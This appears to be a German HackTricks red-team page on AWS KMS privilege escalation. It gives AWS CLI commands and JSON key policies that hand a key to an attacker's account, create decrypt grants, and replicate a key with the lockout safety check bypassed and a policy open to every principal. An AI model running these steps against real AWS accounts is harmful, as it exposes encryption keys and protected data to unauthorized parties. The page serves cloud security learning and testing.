AWS - KMS Privesc

Erlernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

KMS

Für weitere Informationen zu KMS siehe:

pageAWS - KMS Enum

kms:ListKeys,kms:PutKeyPolicy, (kms:ListKeyPolicies, kms:GetKeyPolicy)

Mit diesen Berechtigungen ist es möglich, die Zugriffsberechtigungen für den Schlüssel zu ändern, sodass er von anderen Konten oder sogar von jedermann verwendet werden kann:

aws kms list-keys
aws kms list-key-policies --key-id <id> # Although only 1 max per key
aws kms get-key-policy --key-id <id> --policy-name <policy_name>
# AWS KMS keys can only have 1 policy, so you need to use the same name to overwrite the policy (the name is usually "default")
aws kms put-key-policy --key-id <id> --policy-name <policy_name> --policy file:///tmp/policy.json

policy.json:

{
"Version" : "2012-10-17",
"Id" : "key-consolepolicy-3",
"Statement" : [
{
"Sid" : "Enable IAM User Permissions",
"Effect" : "Allow",
"Principal" : {
"AWS" : "arn:aws:iam::<origin_account>:root"
},
"Action" : "kms:*",
"Resource" : "*"
},
{
"Sid" : "Allow all use",
"Effect" : "Allow",
"Principal" : {
"AWS" : "arn:aws:iam::<attackers_account>:root"
},
"Action" : [ "kms:*" ],
"Resource" : "*"
}
]
}

kms:CreateGrant

Ermöglicht einem Prinzipal, einen KMS-Schlüssel zu verwenden:

aws kms create-grant \
--key-id 1234abcd-12ab-34cd-56ef-1234567890ab \
--grantee-principal arn:aws:iam::123456789012:user/exampleUser \
--operations Decrypt

Eine Berechtigung kann nur bestimmte Arten von Operationen zulassen: https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations

Beachten Sie, dass es einige Minuten dauern kann, bis KMS dem Benutzer erlaubt, den Schlüssel nach Erstellung der Berechtigung zu verwenden. Sobald diese Zeit abgelaufen ist, kann das Prinzipal den KMS-Schlüssel verwenden, ohne etwas angeben zu müssen. Wenn jedoch die Berechtigung sofort verwendet werden muss, verwenden Sie ein Berechtigungstoken (überprüfen Sie den folgenden Code). Für weitere Informationen lesen Sie dies.

# Use the grant token in a request
aws kms generate-data-key \
--key-id 1234abcd-12ab-34cd-56ef-1234567890ab \
–-key-spec AES_256 \
--grant-tokens $token

Beachten Sie, dass es möglich ist, Berechtigungen von Schlüsseln mit folgendem Befehl aufzulisten:

aws kms list-grants --key-id <value>

kms:CreateKey, kms:ReplicateKey

Mit diesen Berechtigungen ist es möglich, einen KMS-Schlüssel mit Multi-Region-Unterstützung in einer anderen Region mit einer anderen Richtlinie zu replizieren.

Ein Angreifer könnte dies also ausnutzen, um seine Berechtigungen für den Schlüssel zu eskalieren und ihn zu nutzen.

aws kms replicate-key --key-id mrk-c10357313a644d69b4b28b88523ef20c --replica-region eu-west-3 --bypass-policy-lockout-safety-check --policy file:///tmp/policy.yml

{
"Version": "2012-10-17",
"Id": "key-consolepolicy-3",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": "kms:*",
"Resource": "*"
}
]
}

kms:Decrypt

Diese Berechtigung ermöglicht es, einen Schlüssel zu verwenden, um einige Informationen zu entschlüsseln. Für weitere Informationen siehe:

pageAWS - KMS Post Exploitation
Erlernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Last updated